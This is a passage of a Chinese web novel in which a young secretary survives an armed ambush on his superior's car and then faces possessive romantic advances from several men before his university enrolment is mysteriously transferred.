贺衍敲了玻璃:“林局,是我。” 后车的车窗下降,露出了林闵半张隐在阴影中的侧脸。 贺衍点了点头,拉开了副驾驶一侧的车门,几乎是开门的瞬间,他就注意到驾驶座上的司机。 一个五官普通扔进人堆就找不到的中年男子,但对方衬衫下的肌肉线条却十分健硕,还有手上的茧子,有点像是枪茧。 退伍军人吗?这类人的确有一部分会被聘为政府官僚的司机。 贺衍系好安全带后,汽车朝着塔科市的方向驶去。 塔科市距离卢图市有一百五十多公里。 汽车开到了半路,发动机突然发出刺耳的异响。 后视镜里,两辆越野车忽然加速朝这个方向逼近,迫使黑车停下。 紧接着,车上冲下来几个凶神恶煞的花臂大汉,每个人手里都拿着根钢管。 贺衍的指节在身侧无声地收紧,肌肉线条在西装布料下绷出锐利的弧度。 他拿出手机准备报警,却发现信号已经被阻断了。 贺衍深吸了一口气,强迫自己冷静下来,一共有七个人,没有枪。如果想要突破重围,他必须和司机配合好,先抢过对方的武器,然后—— 一旁的司机忽然出声,声音却异常平稳:“先生——” 林闵似乎意识到他要说什么,打断了他:“不用。” 简单的对话截然而至,贺衍一头雾水,什么意思?还没等他想明白,就听到了“砰”的一声巨响。 钢管重重地砸在了车玻璃上,防爆膜立刻绽开如同蛛网一般的裂纹。 贺衍的视线无意识扫过司机,司机正微弓着背,右手虚按在腰间,那里是鼓的。 枪? 贺衍瞳孔猛缩,后颈渗出的冷汗被车内的空调冷气一激,反倒让他的思维愈发清明了。 但没有给他任何反应的机会,几乎是瞬间,侧窗玻璃不堪重击地碎裂了。 领头的光头大汉,对着身后的人使了个眼色。 两个纹着花臂的壮汉立即上前,粗暴地将贺衍和司机拽出车厢。 贺衍眸色微沉,没有贸然出手。 “老实点!”其中一人恶狠狠地用塑料扎带捆住司机手腕,但在看到贺衍时却犹豫了。 贺衍的西装外套在刚才的拉扯中微微皱起,从外表看,他不过是个文弱的秘书,怎么看都不像有威胁的样子。 光头踱到后车门,弯腰鞠躬,看向了林闵:“您是体面人,自己下车?还是……” 话音未落,他突然转向贺衍,油腻的目光在那张斯文的脸上扫了一圈:“差点忘了我们贺秘书。” “这小脸白的,吓坏了吧?”光头粗糙的手指轻佻地伸向了贺衍。 车门忽然被推开,林闵从容不迫地从车内迈出,光头不得不往旁边挪动。 贺衍装作害怕的样子后退了一步,他垂下头,掩住了眸中的戾气,刚才那个距离足够他折断那根手指。 光头一脸不爽地扭头,脸上的横肉抽了一下,看向是林闵从车内走了下来,他立刻笑出声:“林局长,识时务者为俊杰啊。” “理由。” 光头咧开嘴:“林局长难道不知道,最近得罪了什么人?” 林闵微眯了下眼:“左浩阔。” 光头喉结滚动,忽得浑身发冷,他不自觉地后退半步,嘴上倒是半点不肯露怯:“不愧是林大局长,一猜就中。既然您已经猜到了,那就跟我们走一趟吧。” 贺衍眼神骤然锐利,光头这种毫不掩饰的态度,分明是没打算留活口。 他可不打算把命留在这里。 司机的嘴被胶带蒙住,他再次看向林闵,终于得到了肯定的结果。 他按下了随身携带的小型发射器,高空中的直升机立刻调整角度,狙击镜的反光在几个花臂大汉胸口依次闪过。 还没等他再次按下按钮,贺衍忽然动了,快得几乎出现了残影。 他一个肘击夺下最近壮汉的钢棍,击中司机身旁两人的膝关节。骨裂声伴随着惨叫响起的同时,贺衍从司机内袋里掏出了手枪。 贺衍把林闵护在身后,持枪的手臂线条在紧绷的西装下若隐若现,每一寸的肌肉都蕴含着可怕的爆发力。 “退后!” 空气骤然凝固,花臂壮汉们僵在了原地。 光头突然嘲笑道:“你他妈会开——” 话音刚落,子弹精准贯穿他的小腿。 贺衍眸色冷鸷:“我说过了,退后。” 光头猛地跪倒在地,膝盖砸在发出闷响,但他根本顾不得这些,嘶哑的嚎叫从他的牙缝里挤出来,双手死死掐住血流不止的伤口。 那张横肉遍布的脸此刻扭曲得不成人形,豆大的汗珠混着鼻涕糊满了脸。 现场陷入死一般的寂静,只有光头痛苦的呻吟在空气中回荡。那些花臂壮汉的眼神开始游移不定,甚至不自觉地开始往后退。 林闵从容地抬手,修长的手指轻轻拍了拍贺衍的肩膀。 “枪给我。” 司机挣脱了束缚,他撕下嘴上的胶带,大声说道:“抱头蹲地,警察马上就到!” 刺耳的警笛声已由远及近,不到半分钟,十几辆警车呼啸而至,将现场团团围住。 警局副局长一下车就小跑着上前,额头已然渗出了汗:“林局长,您受惊了!” 他目光扫过地上哀嚎的光头,又在林闵手中的枪上短暂停留,瞳孔微缩。 副局长的声音不自觉地低了几分,带着显而易见的迟疑:“林局长,你们、有枪?” 林闵缓缓抬眼:“有问题?” 三个字轻飘飘落下,副局长瞬间绷直了背脊,他连连摆手,脸上的笑容僵硬得近乎滑稽。 “当然没有!当然没有!” 贺衍站在原地,眉头几不可察地皱起。 他记得清清楚楚,自己刚才尝试报警的时候,手机可是完全没有信号。【你现在阅读的是 】 THE END 第130章 第 130 章 你还年轻 塔科市的这场会议本就是为了卢图市的这块地, 现在出了这档子事,东郊C-2这块地皮自然和左浩阔无关了。 这场会议,自然也没有继续开下去的必要了。 这七个人被警察铐起来带走了。 一辆崭新的黑色防弹轿车不知何时已经停在了路边, 车身线条比先前的那辆更加冷硬。 回程的路上, 车内一片沉寂。 贺衍探究的目光落在车内后视镜上,林闵正在闭目养神, 修长的手指交叠置于膝上,呼吸平稳,刚才突发的意外似乎完全没在他身上留下丝毫痕迹。 窗外的景色正在飞速后退,贺衍的思绪却回到了三周前,那是实习第二周的周五, 也是他调任到秘书处的第五天。 贺衍在法务部审阅的一份合同, 进入了最后的审批流程, 但二审的负责人却提出了异议。 如果贺衍只是一个普通的实习生,这份分歧或许会被直接忽略。但问题在于,他现在是局长身边的“红人”, 任何经他手的文件都会被额外关注。 周威阳因为前段时间跟贺衍相处得还算不错,于是被法务部的人派过来跟贺衍探讨这件事。 贺衍用过午饭, 刚走出餐厅,便被周威阳叫住了。 两人就合同的事情说了一路, 周威阳一脸焦躁, 终于在走廊的转角处停下脚步。 “教育用地优先?”周威阳眉头皱成一团, “贺衍, 你这结论未免有些太过理想主义了。这块地的商业价值这么高,怎么可能优先划给学校?” “城市规划应当保障教育、医疗等公共服务设施用地,不能随意侵占。”他的声音很平静,却带着不容置疑的笃定, “更何况,这片区域已有三家购物中心,但公立高中只有一所。而且根据联邦的土地置换协议,合同里赔偿学校的置换补偿金比例也太低——” “法律是法律,现实是现实。你该不会以为,市政厅真是为平民服务的地方吧?”周威阳用那种看傻子的眼神看着贺衍,这家伙真是天真到离谱。 “所以呢?”贺衍嗤笑了一声,眸色冰冷,他自然清楚这件事,但依旧觉得可笑。 连教育资源都能被资本裹挟,他不觉得这样发展下去,这个联邦政府还能存在多久。 周威阳像是被噎住,脸色一阵青一阵白。他张了张嘴,正要反驳,走廊尽头突然传来脚步声。 林闵不知何时站在了那里。 周威阳瞬间绷直了背,喉结紧张地滚动了一下:“林、林局……” 好像自那天之后,他的工作日常才变成现在这种样子。 贺衍的指节无意识地在膝盖上轻叩。 车窗外的景色已从郊野变成了城市轮廓,落日的余晖将云层染成彩霞。 周威的街景逐渐变得熟悉,贺衍这才意识到车辆正驶向他的公寓方向。 黑车无声地滑入路边停车位,连引擎熄火时惯性的晃动都几不可察。 “好好休息。” 贺衍解安全带的动作微微一顿:“多谢林局关心。” 他刚迈出车门,正要转身道别,余光却猛地捕捉树下的一个阴影。 贺琚的身影从暮色中浮现。 “哥哥。”甜腻的嗓音还飘在空中,人已经张开双臂扑来。 在贺琚即将触碰到他的瞬间,贺衍躲开了。 贺衍冷冷地出声:“别碰我。” “真是一如既往的冷淡啊。”贺琚乖乖地后退了几步,他唇角勾起,模样无辜又无害,“可是哥哥,我也要来这里实习了。” 贺衍的瞳孔骤缩,下意识蹙起眉,语气里极其不耐烦:“你又搞哪一出?” 黑车还停在原地,防弹车窗后,林闵的眉骨在阴影中压出锋利的弧度。 森铭学的孩子。 林闵凝视着公寓楼前纠缠的身影,眼底结起一层薄冰。他打算精心雕琢的璞玉,可容不得半点砂砾磨损。 车厢内的气压骤然降低,司机喉结紧绷,低声问道:“先生,咱们离开吗?” 林闵收回视线,修长的手指在膝头轻叩:“走吧。” 但第二天,贺衍并没见到贺琚。 他消失得无影无踪,什么消息都没留下。这疯子做事向来不讲逻辑,贺衍眉梢微抬,虽然奇怪,倒也没太在意。 贺衍打开电脑,正准备继续写上次没写完的那篇分析报告。 手机刚搁下就再次震动起来,贺衍瞥了眼来电显示。 “我听说昨天下午的事了,”岑靳的声音透过听筒传来,语速比平时快了几分,“你没受伤吧?” 贺衍后仰靠在椅背上,懒散地“嗯”了一声,语气敷衍得近乎冷漠。 “开视频。”对方突然命令道,语气里的强势不容拒绝,“我要看你的脸。” “没事挂了。”窗外的阳光刺得贺衍眯起眼,贺衍的眼底浮起一丝躁意。 “贺衍,别忘了我们的约定。”岑靳笑了一下,“我还查到点有趣的东西,关于罗勋章。” 贺衍眼底的散漫瞬间褪去,他点开了摄像头。 屏幕亮起的瞬间,岑靳的灰蓝色瞳孔微微收缩,他的瞳孔在光线折射下显得格外幽深,视线像带着实质的重量从贺衍的眉骨滑到对方的唇角。 秘书室内,另一侧通向局长办公室的门被推开了。 林闵站在门口,目光平静地扫过来。 岑靳的声音还在继续,他低笑了一声,尾音勾着几分暧昧:“我已经等不及要见你了,明天下午……” 贺衍迅速挂断通话,站起身:“林局。” 两人目光相撞,空气仿佛凝滞了一秒。 林闵骨节分明的手指在门框上轻叩两下,声音比平时要更低一些:“分析报告,下午三点前交过来。” 周五下午,土地管理局公寓。 暮色穿过透明的窗,稠稠地漫过公寓的走廊。 岑靳斜倚在贺衍宿舍门前,手里拿着一份文件袋。 电梯上行至九楼。 岑靳望向那处,眸色里染上了些许期待。 电梯门打开,杂乱的脚步声出现在走廊。 岑靳失望地收回视线,再次看了眼时间,马上快要六点了,贺衍还不回来吗。 几个混混晃到贺衍的大门前,领头的黄毛叼着烟,看到岑靳时明显一愣。 灰蓝的瞳孔在阴影里泛着冷光,岑靳垂眸盯着黄毛,玩味地笑了下:“你们找谁?” “就这里面住的人。”黄毛吐掉烟,他打量了岑靳几眼,给后面的几个人使了个眼色,半是威胁半是劝告:“别在这里挡路,不然别怪我们不客气?” 岑靳唇角一扬,他慢条斯理解开袖扣,笑了起来:“不客气?怎么个不客气。” 话音未落,黄毛已经挥拳,几个混混朝岑靳围攻起来。 几分钟后,岑靳踩着黄毛的手腕,剩下的几个混混叠罗汉一扬瘫在一侧。 文件袋还被他拿在手上,连一丝折痕都没有出现。 岑靳给这几个人拍了张照片,给贺衍发过去。 他低头编辑信息,黑棕色发丝垂落遮住半边眉骨:[过来找你事的,解决了。你什么时候回来?] 电梯“叮”的一声划破寂静。 贺衍从电梯内走出来,看到了自己门前的一片狼藉。 岑靳的眼睛倏地亮起来,他跨过地上呻吟的黄毛,朝着贺衍走过去。 岑靳喉结动了动,他瞥了眼身后狼藉,突然凑近到能数清贺衍睫毛的距离,嗓音裹着笑:“我是不是该讨个谢礼?” 贺衍扫了眼他手里的文件袋,越过他走到门口,垂眸看向了黄毛:“又是你啊。” “大哥,哈哈哈,真是太巧了,哈哈哈——” 根本不用贺衍逼问,黄毛已经一股脑地说出来了。 “主要是我最近缺钱了,然后那个人他又联系我了,说给我十万,把您,把您绑走。”黄毛握着已经肿成球的手腕,大气都不敢喘一下。 左浩阔已经入狱,左家的家产也已经尽数充公,也难为左丘宽能够弄来十万了。 “自己去警局自首,还是我送你们去。” 这句话简直像是恶魔的低语,黄毛咽了口唾沫,浑身上下快要都成筛子:“自首!自首!我们自己去警局。” 房间内。 岑靳将文件袋推到贺衍面前,指节在牛皮纸袋上敲了敲。 “罗勋章的账目流水。杭凌一现在是他的人,你别再管他了。” 贺衍没接话,只是拆开了文件袋的封线。 他垂眸翻开文件,瞳孔骤然紧缩,这是罗勋章与贺忠载的交易记录,甚至包括完整的资金流向。 贺衍的指尖无意识地收紧,纸张边缘被他捏出细小的褶皱。 岑靳靠在桌边,目光描摹着贺衍的侧脸,青年低垂的睫毛在眼下投下一片阴影,鼻梁的线条干净利落,唇却抿得发白。 很好亲的样子。 “当初你说过的,”岑靳忽然开口,声音沙哑,“如果我真能找到你想要的证据,你就答应当我男朋友。” 他向前倾身,阴影笼罩住贺衍:“我不要求你现在就完全接受……但至少,给我点甜头?” 贺衍喉结滚动了一下。 他的确说过这话,但当初这只是为了支开岑靳的借口,可现在,这份沉甸甸的证据摆在眼前,他没法再搪塞。 岑靳的呼吸已经近在咫尺,温热的气息拂过贺衍的耳廓。他的目光像是实质化的触手,贪婪地舔舐着贺衍的每一寸皮肤。 “你……低头。”贺衍终于开口,声音有些干涩。 岑靳顺从地俯身。 贺衍本想着蜻蜓点水地碰一下他的唇角,可岑靳却猛地扣住他的后脑,将这个吻狠狠加深。 唇齿交缠的触感让贺衍浑身僵硬。 岑靳的吻带着不容拒绝的侵略性,裹挟着暴烈的占有欲,像是要将人拆吃入腹。 贺衍手指无意识地攥紧了桌沿,指节泛白,手背青筋暴起,想要将人掀翻的念头在大脑里叫嚣。 刺耳的手机铃声骤然炸响,在桌面上嗡嗡震动。 贺衍猛地推开岑靳,呼吸还有些不稳。 是林闵的电话。 “我要去工作。”贺衍整理好被扯乱的衣领,声音恢复了冷静。 岑靳低笑一声,眼底翻涌着汹涌的欲色,他单手撑在贺衍耳侧的墙面上,阴影笼罩下来。 岑靳垂眸盯着贺衍微微泛红的眼尾,指腹漫不经心地蹭过他唇瓣。 贺衍偏头避开他的触碰,眼底的冷意几乎凝成实质。 岑靳也不恼,反而慢条斯理地替他抚平领口最后一道褶皱,指节却若有似无地擦过了他的喉结。 他低笑:“行,放你走。” 反正迟早会回来,被他亲手拆吞入腹。 临走前,贺衍顺手带走了那份文件。 岑靳在贺衍的公寓里等了很久。 窗外天色彻底暗沉,霓虹灯一盏盏亮起,可贺衍依然没有回来。他烦躁地扯开领口,抓起车钥匙准备去土地管理局找人。 公寓楼下。 “岑靳?”一道低沉浑厚的嗓音在身后响起。 岑靳不耐烦地转了下头,却在看清来人的瞬间僵住:“翟将军。” 翟毅彬站在路灯下,这位年过五十的将军黑发中掺着白霜,眼角满是笑纹。 翟毅彬是岑靳在军部的上司,在岑靳刚入伍的时候救过他一命。 翟毅彬的手重重拍在他肩上,笑眯眯地说道:“还真是你小子啊,趁着我养病的时候退役,连我的面都不敢见,这次可让我逮住你了。” 土地管理局内。 贺衍整理了几个小时的档案,此时伏在办公桌上睡着了。 林闵推开办公室的门,目光落在熟睡的贺衍身上。 办公桌上,不知道是有意还是无意,一份文件显眼地单独摆在那里,似乎是故意让人注意到一样。 林闵拿起了桌上的那份文件,指尖微微一顿。 真是聪明的孩子。 林闵垂眸,唇角笑意转瞬即逝。 罗勋章的手的确伸得太长了,也该收网了。 林闵微微眯起了眼睛,眸中带着几分漫不经心的凛冽。 暑期实习期即将结束,实习结束后,距离开学也就一周不到的时间。 贺衍已经定了明天回津兴的机票,打算在那里待到开学。 当天下午,局长办公室。 林闵正在泡茶,沸水注入的瞬间,茶香氤氲而起。 “你的实习期结束了。” 林闵的声音很轻,却让贺衍准备起身离开的动作顿住。 茶雾袅袅中,林闵抬眸,似乎只是随口一问:“你未来有什么打算?” 贺衍眉梢蹙了一下,然后摇了摇头,如实回道:“不清楚。” 林闵忽然笑了,但那笑意就像茶汤表面的波纹,很快便归于平静。 他摆了摆手,示意谈话结束。 办公室的门轻轻合上。 茶案上的手机屏幕亮起,显示着刚发送的调令:[把贺衍转到联邦大学] 林闵端起茶杯,轻抿了一口。 津兴,福安小区。 贺衍收拾完行李,天色已经黑透了。 一整天的奔波让他精疲力尽,连手指都懒得再动一下。贺衍揉了揉酸痛的肩颈,随便对付了一顿晚饭。 贺衍拖着疲惫的身体走进浴室,等他擦着湿发从浴室出来的时候,墙上的挂钟显示已近十点了。 贺衍吹干头发,正准备睡觉,一阵急促的敲门声打破了夜晚的宁静。 贺衍皱了皱眉。 俞孟辉? 贺衍奇怪地挑了下眉,他来这里干什么? 贺衍打开门:“有事吗?” 俞孟辉的白发比上次见面的时候又多了许多,满是疲容。 “鄢忬生病了。”俞孟辉的声音沙哑,他叹了口气,“你去劝劝他吧,别再吃那个药了。” 贺衍心头一紧:“什么药?” 俞孟辉的瞳孔骤然收缩:“瑟维林缓释剂,你不知道?” 贺衍眉梢蹙起,摇了下头。 俞孟辉重重叹了口气,他张了张嘴想说什么,最终只是无力地垂下肩膀,整个人仿佛又苍老了十岁。 津兴市,夜色如墨,康泰和医疗中心顶层的VIP病房内。 鄢忬半倚在床头,黑发凌乱地垂落在眉骨,犬齿轻咬着未点燃的烟,烟尾随着他的呼吸在微微颤动。 骨节分明的手指漫不经心地翻过书页,墨绿色瞳孔在垂落的睫毛下忽明忽暗,凝视着膝盖上摊开的书本。 病房门被推开了。 鄢忬眉梢微蹙,视线仍停留在书页上,声音里带着几分倦意:“我不是说过了,晚上不要来打扰我。” 来人没有立即回应,只是沉默地站在门口。 鄢忬这才抬眼,墨绿色的瞳孔在暗处倏然收缩,他立刻把烟从唇间拿出。 “阿衍?”鄢忬声音里的疏离瞬间融化,取而代之的是一种难以名状的柔软。 贺衍站在门口,他抿着唇,神色冷峻。 “两个月前,在罗河县,你那次高烧也是因为这个药,对吗?”贺衍的声音低沉,带着压抑的怒意。 鄢忬怔了怔,将书放在了床头 “原来阿衍是来兴师问罪的。”他抬眼,墨绿色的眼睛里依旧盛着笑意,“怎么,现在连我吃什么药都要告诉阿衍了吗?” 贺衍大步走到床前,他深吸一口气,努力平复情绪:“瑟维林缓释剂的副作用这么大,你何必拿自己的身体——” 鄢忬打断他,唇角勾起,“这药的副作用对我来说不算什么。” “可是——”贺衍刚想说什么,鄢忬却突然倾身向前,缩短了他们之间的距离。 “阿衍为什么要来看我呢?是觉得我这样很蠢吗?”鄢忬的声音很轻,他顿了顿,墨绿色的眼睛直视贺衍,“还是说,你在心疼我?” 贺衍的心脏猛地一跳,下意识后退半步,喉结滚动,却找不到合适的词语回应。 贺衍张了张口:“我只是受人之托而已。” 鄢忬笑了,重新靠回枕头上,神情恢复了那种游刃有余的从容:“是吗?那真是辛苦阿衍了,大半夜还不能好好休息。” 贺衍站在原地,感到一阵莫名的烦躁:“当初齐崇杉打算给我开的也是这种药,你当初为什么要替我拒绝。我选择要不要吃这个药是我的事,跟你也没关系。” 鄢忬看着贺衍,沉默片刻后,轻声说:“你知道原因不是吗?” 贺衍唇瓣抿成一条直线:“我该走了。” 贺衍仓促转身,一只手突然拽住了他的手腕。 鄢忬站了起来,走到了贺衍身侧:“阿衍,既然来了,陪我说会儿话吧。” 贺衍声音有些干涩:“要说什么?” 鄢忬看着贺衍,墨绿色的眼睛映着他的面容:“那就说一说阿衍和我,怎么样?” 贺衍呼吸一滞,眼皮不受控制地跳了一下,心里莫名有些慌乱。 “阿衍,你真的从来对我都没有一点心动吗?” 贺衍冷硬地回应,却下意识避开了鄢忬的目光:“我不喜欢男人。” “是吗?”鄢忬走近一步,“可我也从未见你对哪位女性有过好感。” 鄢忬的唇角带着若有若无的笑意:“阿衍,你在抗拒所有的亲密关系,不是因为性别,而是因为你根本不愿意接受‘喜欢’这个概念本身。” 贺衍抿唇,没有回答,他的指尖微微发紧,指节泛白。 “你不喜欢欠人情,别人对你好,你就会想方设法地回报,否则就会觉得愧疚,甚至觉得是一种负担。” 贺衍一怔。 鄢忬笑了,他伸手轻轻抚上贺衍的脸颊。 “你反感吗?” 贺衍僵住了。 贺衍想要推开鄢忬,却在碰到对方的瞬间想起了他还在生病,力道不自觉地收住了。 这个明显的迟疑让鄢忬低笑出声,他微微低头,两人的呼吸交融。感受到掌心下紧绷的身体,鄢忬退开半步,唇角扬起,意味深长地看着他:“看,你连推开我都要顾虑。” 鄢忬的声音低沉缓慢,却像是一只手猛攥住了贺衍的胸口。 贺衍他的呼吸有些乱了,指尖微微发颤,他蹙起眉,抿着唇看向鄢忬:“你到底想说什么?” “阿衍,我之前是不是说过,喜欢你是我的事情,跟你无关?”鄢忬顿了顿,才继续说道,“但我是故意的,因为阿衍太温柔了,我越是这么说,阿衍反而越会记着我想着我。” 贺衍下意识地退后了一步,才发现背已经抵上了墙壁。 鄢忬轻笑着伸出手,指腹轻轻摸索着贺衍眼下的那颗泪痣。 “你认为我对你的付出,是不求回报的吗?”鄢忬微微歪头,声音含笑,“不是的哦,阿衍。” 贺衍抿着唇,大脑在疯狂预警,身体却背叛一般地僵在了原地。 “阿衍,我比你大十几岁。你还年轻,未来会遇见很多人,新鲜的,刺激的,总有一天,会有那么一个人,彻底吸引你。” “你或许会跟ta坠入爱河。”鄢忬顿了顿,他看着贺衍,墨绿的眼眸中,温柔的情愫几乎要化作实质从眼底漫溢出来,“但那是以后不是吗。” 鄢忬凑近,呼吸几乎拂在贺衍的唇上:“阿衍,我给你利用我的权力。你不用感到愧疚,因为在你利用我的时候,我也得到了我想要的,并且,甘之如饴。” 鄢忬忽然抬手,指尖顺着贺衍的眉心一路滑到唇峰,在贺衍屏住呼吸的瞬间,鄢忬突然掐住他的下巴,低头吻了上去。 这个吻烫得惊人。 杂乱无章的心跳声充斥在耳膜,贺衍整个人陷入柔软的沙发内。 他感到有手指插进自己发间,另一只手则不容抗拒地扣住他的后颈。 唇分时鄢忬低笑:“呼吸,阿衍。” 贺衍已经记不清他是怎么离开那里了。 开学前的日子像被拉长的胶片,他机械地给自己安排各种琐事,可那天晚上发生的一切却像烙铁般印在大脑深处,每个细节都清晰得可怕。 越是想要遗忘,记忆却反而越鲜明。 铜海大学开学日,贺衍几乎是刚完成新学期的注册报到,教务处的电话便打了进来。 “贺衍同学,请立即来校长办公室一趟。” 贺衍眉梢蹙起,他之前见过铜海大学的校长。 一年前,他拒绝作为新生代表演讲的时候,这位校长曾说过他不识好歹。 校长办公室的门虚掩着。 校长看到贺衍进来,立刻站起来走到贺衍身边。 “贺衍同学,请坐请坐。”校长脸上堆着一脸的谄媚笑容,“有个好消息要通知你。” 贺衍没动。 窗外的梧桐叶沙沙作响,阳光透过百叶窗在他身上切割出明暗交错的线条。 校长干笑了一声,但态度依旧好到离谱:“贺衍同学,你的学籍已经转到联邦大学了。相关手续都办妥了。” “谁做的?” 校长的笑容僵在脸上,都是上面的吩咐,他哪里会知道具体是哪个人啊。 在光影交界处,贺衍的眸色泛着冷淡的色泽,长睫半垂着,眼下投出了一小片阴翳。 贺衍盯着文件上联邦大学的钢印,陷入了沉思。【你现在阅读的是 】